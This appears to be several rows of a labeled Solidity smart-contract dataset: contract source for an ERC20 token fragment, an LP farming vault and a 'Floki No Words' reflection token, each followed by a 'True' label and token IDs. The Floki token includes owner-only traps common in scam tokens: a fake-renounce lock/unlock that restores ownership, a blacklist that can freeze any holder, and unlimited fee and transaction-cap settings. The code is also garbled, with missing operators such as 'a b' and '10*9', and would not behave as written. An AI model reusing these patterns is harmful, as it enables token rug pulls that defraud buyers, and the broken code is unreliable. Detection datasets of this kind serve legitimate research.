_value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ AltcoinToken t = AltcoinToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawAltcoinTokens(address _tokenContract) onlyOwner public returns (bool) { AltcoinToken token = AltcoinToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }	True	[ 101, 10975, 8490, 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pragma solidity >=0.7.5; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error / library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a b; assert(a == 0 \|\| c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. / library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /* * @dev Returns true if the value is in the set. O(1). / function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /* * @dev Returns the number of values on the set. O(1). / function _length(Set storage set) private view returns (uint256) { return set._values.length; } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /* * @dev Returns true if the value is in the set. O(1). / function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /* * @dev Returns the number of values in the set. O(1). / function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /* * @dev Returns true if the value is in the set. O(1). / function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /* * @dev Returns the number of values on the set. O(1). / function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /* * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". / contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / constructor() { owner = msg.sender; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner); _; } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. / function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract DFSocial_FarmingTRI is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); event RewardsDisbursed(uint amount); // Uniswap ETH/DFSocial LP token contract address address public constant LPtokenAddress = 0x731580e6456353E9508be3Ba28C9b64780efD179; //DFSocial token address address public constant tokenAddress = 0x54ee01beB60E745329E6a8711Ad2D6cb213e38d7; uint public constant withdrawFeePercentX100 = 50; uint public constant disburseAmount = 50e18; uint public constant disburseDuration = 30 days; uint public disbursePercentX100 = 10000; uint public lastDisburseTime; constructor() { lastDisburseTime = block.timestamp; } uint public totalClaimedRewards = 0; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public depositTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; mapping (address => uint) public lastDivPoints; uint public totalTokensDisbursed = 0; uint public contractBalance = 0; uint public totalDivPoints = 0; uint public totalTokens = 0; uint internal pointMultiplier = 1e18; function addContractBalance(uint amount) public onlyOwner { require(Token(tokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!"); contractBalance = contractBalance.add(amount); } function updateAccount(address account) private { uint pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = totalClaimedRewards.add(pendingDivs); emit RewardsTransferred(account, pendingDivs); } lastClaimedTime[account] = block.timestamp; lastDivPoints[account] = totalDivPoints; } function getPendingDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]); uint depositedAmount = depositedTokens[_holder]; uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier); return pendingDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function deposit(uint amountToDeposit) public { require(amountToDeposit > 0, "Cannot deposit 0 Tokens"); updateAccount(msg.sender); require(Token(LPtokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance"); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit); totalTokens = totalTokens.add(amountToDeposit); if (!holders.contains(msg.sender)) { holders.add(msg.sender); depositTime[msg.sender] = block.timestamp; } } function withdraw(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!"); require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); totalTokens = totalTokens.sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function emergencyWithdraw(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); lastClaimedTime[msg.sender] = block.timestamp; lastDivPoints[msg.sender] = totalDivPoints; uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!"); require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); totalTokens = totalTokens.sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claim() public { updateAccount(msg.sender); } function distributeDivs(uint amount) private { if (totalTokens == 0) return; totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens)); emit RewardsDisbursed(amount); } function disburseTokens() public onlyOwner { uint amount = getPendingDisbursement(); // uint contractBalance = Token(tokenAddress).balanceOf(address(this)); if (contractBalance < amount) { amount = contractBalance; } if (amount == 0) return; distributeDivs(amount); contractBalance = contractBalance.sub(amount); lastDisburseTime = block.timestamp; } function getPendingDisbursement() public view returns (uint) { uint timeDiff = block.timestamp.sub(lastDisburseTime); uint pendingDisburse = disburseAmount .mul(disbursePercentX100) .mul(timeDiff) .div(disburseDuration) .div(10000); return pendingDisburse; } / function to allow owner to claim other ERC20 tokens sent to this contract. Owner cannot recover unclaimed tokens (they are burnt) */ function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { // require(_tokenAddr != tokenAddress && _tokenAddr != LPtokenAddress, "Cannot send out reward tokens or LP tokens!"); require(_tokenAddr != LPtokenAddress, "Admin cannot transfer out LP tokens from this vault!"); require(_tokenAddr != tokenAddress , "Admin cannot Transfer out Reward Tokens from this vault!"); Token(_tokenAddr).transfer(_to, _amount); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1021, 1012, 1019, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 18667, 2094, 1011, 1017, 1011, 11075, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 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// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.11; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getUnlockTime() public view returns (uint256) { return _lockTime; } function getTime() public view returns (uint256) { return block.timestamp; } function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; _previousOwner = address(0); } } contract FlokiNoWords is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; address deadAddress = 0x0000000000000000000000000000000000000666; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _antibot; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000000000 * 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Floki No Words"; string private _symbol = "No Words"; uint8 private _decimals = 9; uint256 public _burnFee = 10; uint256 private _previousburnFee = _burnFee; uint256 public _taxFee = 5; uint256 private _previousTaxFee = _taxFee; uint256 public _maxTxAmount = 500000000000 109; constructor () { _rOwned[_msgSender()] = _rTotal.div(100).mul(50); _rOwned[deadAddress] = _rTotal.div(100).mul(50); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[deadAddress] = true; _burnFee = 20; // Set burn fee super high until max tx turned on emit Transfer(address(0), _msgSender(), _tTotal.mul(50).div(100)); emit Transfer(address(0), deadAddress, _tTotal.mul(50).div(100)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(_antibot[from] != true,"ANTI BOT ACTIVATED"); if(from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity,tAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity,tAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity,tAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity,tAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256 ,uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply \|\| _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(102); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256 _totalamount) { uint256 cbfee = _amount.mul(_burnFee).div(102); return _totalamount.add(cbfee); } function _takeLiquidity(uint256 tLiquidity, uint256 _amount) private { uint256 currentRate = _getRate(); uint256 tliqfee = _amount.mul(0).div(102); uint256 rLiquidity = tliqfee.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) {_tOwned[address(this)] = _tOwned[address(this)].add(tliqfee);} uint256 tburn = tLiquidity - tliqfee; uint256 rburn = tburn.mul(currentRate); _rOwned[address(deadAddress)] = _rOwned[address(deadAddress)].add(rburn); if(_isExcluded[address(deadAddress)]) {_tOwned[address(deadAddress)] = _tOwned[address(deadAddress)].add(tburn);} } function removeAllFee() private { if(_taxFee == 0) return; _previousTaxFee = _taxFee; _previousburnFee = _burnFee; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _burnFee = _previousburnFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } // Management Functions *Owner Only* // function excludeFromFee(address account) public onlyOwner() { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner() { _isExcludedFromFee[account] = false; } //True blocks the bots address function set_antibot(address account, bool active) public onlyOwner() { _antibot[account] = active; } function setFees(uint256 burnfee, uint256 taxfee) external onlyOwner() { _burnFee = burnfee; _taxFee = taxfee; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } function prepareForPreSale() external onlyOwner() { _taxFee = 0; _burnFee = 0; _maxTxAmount = 100000000000000 * 10*9; } function afterPreSale() external onlyOwner() { _taxFee = 5; _burnFee = 10; _maxTxAmount = 500000000000 10**9; } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2340, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 3477, 3085, 1006, 5796, 2290, 1012, 4604, 2121, 1007, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 5024, 3012, 1013, 3314, 1013, 25717, 2487, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 